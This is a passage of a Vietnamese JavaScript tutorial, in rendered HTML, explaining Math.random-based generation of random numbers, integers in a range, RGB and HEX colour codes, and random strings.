class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>max <span class="token operator">-</span> min<span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ tạo số ngẫu nhiên từ 5 đến 20:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random number </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomArbitrary</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random number 0: 17.615712267356862 Random number 1: 12.854543118290293 Random number 2: 16.70271502093547 Random number 3: 6.809095214107975 Random number 4: 11.191247745457495 Random number 5: 13.933168532576273 Random number 6: 11.900280444819856 Random number 7: 6.0318833321746625 Random number 8: 18.488450961349642 Random number 9: 7.360576167002292 */</span></code></pre></div> <p>Kết quả in ra là hoàn toàn đúng như yêu cầu. Tuy nhiên, nếu mình lại muốn tạo ra các số <strong>nguyên</strong> ngẫu nhiên thì sao?</p> <h3 id="tạo-số-nguyên-ngẫu-nhiên-giữa-2-giá-trị" style="position:relative;"><a href="#t%E1%BA%A1o-s%E1%BB%91-nguy%C3%AAn-ng%E1%BA%ABu-nhi%C3%AAn-gi%E1%BB%AFa-2-gi%C3%A1-tr%E1%BB%8B" aria-label="tạo số nguyên ngẫu nhiên giữa 2 giá trị permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo số nguyên ngẫu nhiên giữa 2 giá trị</h3> <p>Để tạo số <strong>nguyên</strong> ngẫu nhiên giữa 2 giá trị, bạn có thể sử dụng kết hợp với phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a> như sau với điều kiện <strong>min</strong> và <strong>max</strong> cũng là 2 số nguyên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getRandomInt</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>max <span class="token operator">-</span> min<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ tạo số nguyên ngẫu nhiên từ 5 đến 20:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random number </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomInt</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random number 0: 11 Random number 1: 19 Random number 2: 8 Random number 3: 11 Random number 4: 19 Random number 5: 13 Random number 6: 18 Random number 7: 8 Random number 8: 6 Random number 9: 17 */</span></code></pre></div> <p><strong>Chú ý:</strong> Vì phương thức Math.random() trả về số ngẫu nhiên lớn hơn hoặc bằng 0 và nhỏ hơn 1. Nên phương thức <strong>getRandomInt()</strong> sẽ trả về số nguyên ngẫu nhiên lớn hơn hoặc bằng <strong>min</strong> và nhỏ hơn <strong>max</strong>. Để kết quả có thể <em>nhỏ hơn hoặc bằng max</em>, bạn có thể tùy chỉnh như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getRandomIntInclusive</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>max <span class="token operator">-</span> min <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Ví dụ tạo số nguyên >= 5 và &lt;= 20</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random number </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random number 0: 14 Random number 1: 16 Random number 2: 20 Random number 3: 12 Random number 4: 13 Random number 5: 5 Random number 6: 10 Random number 7: 17 Random number 8: 17 Random number 9: 9 */</span></code></pre></div> <p><strong>Chú ý:</strong> Kết quả chạy của bạn có thể khác với mình và không xuất hiện số 20. Tuy nhiên, đó cũng là điều bình thường. Vì đây là tạo số ngẫu nhiên mà phải không bạn?</p> <p>Như vậy là mình đã giới thiệu với bạn một số biến thể của việc tạo số ngẫu nhiên trong JavaScript rồi. Tiếp theo, mình sẽ cùng tìm hiểu về một số ứng dụng của việc tạo số ngẫu nhiên trong JavaScript nhé.</p> <h2 id="một-số-ứng-dụng-tạo-số-ngẫu-nhiên-trong-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%E1%BB%A9ng-d%E1%BB%A5ng-t%E1%BA%A1o-s%E1%BB%91-ng%E1%BA%ABu-nhi%C3%AAn-trong-javascript" aria-label="một số ứng dụng tạo số ngẫu nhiên trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số ứng dụng tạo số ngẫu nhiên trong JavaScript</h2> <h3 id="tạo-ngẫu-nhiên-mã-màu-rgb" style="position:relative;"><a href="#t%E1%BA%A1o-ng%E1%BA%ABu-nhi%C3%AAn-m%C3%A3-m%C3%A0u-rgb" aria-label="tạo ngẫu nhiên mã màu rgb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo ngẫu nhiên mã màu RGB</h3> <p>Mã màu RGB có dạng như sau: <code>rgb(rValue, gValue, bValue)</code>.</p> <p>Trong đó, giá trị của <em>rValue, gValue và bValue</em> sẽ lớn hơn hoặc bằng 0 và nhỏ hơn hoặc bằng 255. Vì vậy, mình sẽ sử dụng phương thức <strong>getRandomIntInclusive()</strong> bên trên như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getRandomRGB</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> r <span class="token operator">=</span> <span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> g <span class="token operator">=</span> <span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> <span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">rgb(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>r<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>g<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>b<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Ví dụ:</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random RGB </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomRGB</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random RGB 0: rgb(32, 78, 62) Random RGB 1: rgb(112, 223, 127) Random RGB 2: rgb(117, 96, 219) Random RGB 3: rgb(240, 55, 189) Random RGB 4: rgb(247, 193, 98) Random RGB 5: rgb(116, 131, 163) Random RGB 6: rgb(109, 7, 173) Random RGB 7: rgb(176, 78, 159) Random RGB 8: rgb(230, 146, 59) Random RGB 9: rgb(66, 34, 226) */</span></code></pre></div> <h3 id="tạo-ngẫu-nhiên-mã-màu-hex" style="position:relative;"><a href="#t%E1%BA%A1o-ng%E1%BA%ABu-nhi%C3%AAn-m%C3%A3-m%C3%A0u-hex" aria-label="tạo ngẫu nhiên mã màu hex permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo ngẫu nhiên mã màu HEX</h3> <p>Mã màu HEX có dạng: <code>#RRGGBB</code>.</p> <p>Trong đó, thành phần <em>RR</em>, <em>GG</em> và <em>BB</em> bên trên lần lượt là giá trị của <em>rValue, gValue và bValue</em> ở hệ hexa (thập lục phân hay cơ số 16).</p> <p>Bạn có thể áp dụng chiến thuật trên bằng cách tạo ngẫu nhiên các giá trị R, G và B bình thường, sau đó format lại chúng thành dạng Hexa như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getRandomHEX</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> r <span class="token operator">=</span> <span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> g <span class="token operator">=</span> <span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> <span class="token function">getRandomIntInclusive</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">toHexa</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> v<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">#</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">toHexa</span><span class="token punctuation">(</span>r<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">toHexa</span><span class="token punctuation">(</span>g<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">toHexa</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Ví dụ:</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random HEX </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomHEX</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random HEX 0: #522220 Random HEX 1: #8921ec Random HEX 2: #b228f2 Random HEX 3: #53815c Random HEX 4: #3a3cfd Random HEX 5: #9d3266 Random HEX 6: #d04b82 Random HEX 7: #3760b9 Random HEX 8: #230ae6 Random HEX 9: #ee7fc7 */</span></code></pre></div> <p>Dưới đây là một ví dụ trực quan về việc tạo ngẫu nhiên mã màu:</p> <p><a href="https://codepen.io/completejavascript/pen/ExxPENE"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/ExxPENE/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h3 id="tạo-chuỗi-string-ngẫu-nhiên" style="position:relative;"><a href="#t%E1%BA%A1o-chu%E1%BB%97i-string-ng%E1%BA%ABu-nhi%C3%AAn" aria-label="tạo chuỗi string ngẫu nhiên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo chuỗi string ngẫu nhiên</h3> <p>Từ nãy giờ, mình mới chỉ tạo số ngẫu nhiên trong JavaScript. Tuy nhiên, nếu mình muốn tạo chuỗi string ngẫu nhiên thì sao?</p> <p>Đơn giản lắm! Dưới đây là <a href="/tag/thuat-toan/">thuật toán</a> của mình.</p> <p>Giả sử mình muốn tạo chuỗi string ngẫu nhiên độ dài L với các ký tự thuộc tập hợp cho trước. Khi đó, các bước làm sẽ như sau:</p> <ul> <li><strong>Bước 1</strong>: Tạo một chuỗi base string chứa tất cả những ký tự đó.</li> <li><strong>Bước 2</strong>: Tạo số nguyên ngẫu nhiên từ 0 đến độ dài của base string. Đây chính là chỉ số của ký tự trong base string.</li> <li><strong>Bước 3</strong>: Lấy ra ký tự ứng với chỉ số ngẫu nhiên trên.</li> <li><strong>Bước 4</strong>: Lặp lại bước 2 và bước 3 cho đến khi lấy ra đủ số ký tự mong muốn</li> </ul> <p>Cách triển khai:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> baseString <span class="token operator">=</span> <span class="token string">"0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">getRandomInt</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>max <span class="token operator">-</span> min<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">getRandomString</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">length<span class="token punctuation">,</span> base</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baseLength <span class="token operator">=</span> base<span class="token punctuation">.</span>length<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> randomIndex <span class="token operator">=</span> <span class="token function">getRandomInt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> baseLength<span class="token punctuation">)</span><span class="token punctuation">;</span> result <span class="token operator">+=</span> base<span class="token punctuation">[</span>randomIndex<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ tạo chuỗi string ngẫu nhiên với độ dài 6 với các ký tự từ 0 đến 9, từ a đến z và từ A đến Z:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> baseString <span class="token operator">=</span> <span class="token string">"0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random string </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomString</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> baseString<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random string 0: xFfbgC Random string 1: 6aiAhV Random string 2: ByyZdz Random string 3: QbnnvW Random string 4: R2nlc7 Random string 5: zfYRzV Random string 6: UixWJ6 Random string 7: 1GrB4B Random string 8: 8dSpIP Random string 9: c13nEG */</span></code></pre></div> <p>Với cách làm trên, mình có thể áp dụng vào bài toán tạo ngẫu nhiên mã màu HEX bằng cách định nghĩa lại base string là các ký tự từ 0 đến 9 và từ a đến f (hoặc từ A đến F):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getRandomHex2</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> baseString <span class="token operator">=</span> <span class="token string">"0123456789ABCDEF"</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">#</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomString</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> baseString<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Ví dụ:</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random Hex </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token function">getRandomHex2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random Hex 0: #34A2B9 Random Hex 1: #DFF7EC Random Hex 2: #B77F77 Random Hex 3: #971AC6 Random Hex 4: #EC9440 Random Hex 5: #B7D8C1 Random Hex 6: #6239AD Random Hex 7: #FFEEDB Random Hex 8: #DD5B22 Random Hex 9: #1E0991 */</span></code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số cách tạo số ngẫu nhiên trong JavaScript và ứng dụng của chúng. Qua bài viết này, bạn đã biết cách:</p> <ul> <li>Tạo số ngẫu nhiên từ 0 đến 1</li> <li>Tạo số ngẫu nhiên giữa 2 giá trị min, max</li> <li>Tạo số nguyên ngẫu nhiên giữa 2 giá trị min, max</li> <li>Ứng dụng tạo ngẫu nhiên mã màu RGB</li> <li>Ứng dụng tạo ngẫu nhiên mã màu HEX</li> <li>Ứng dụng tạo chuỗi string ngẫu nhiên với độ dài và các ký tự cho trước</li> </ul> <p>Bạn có thường sử dụng những cách tạo số ngẫu nhiên trên không? Ngoài những cái mình đã đề cập bên trên, bạn còn biết ứng dụng nào khác nữa?</p> <p>Nếu câu trả lời là <strong>CÓ</strong> thì đừng ngần ngại chia sẻ với mình và mọi người nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Convert IPv4 sang Decimal và ngược lại]]><![CDATA[Chào bạn! Năm mới 2019, mình chúc bạn mạnh khỏe và đạt được tất cả các mục 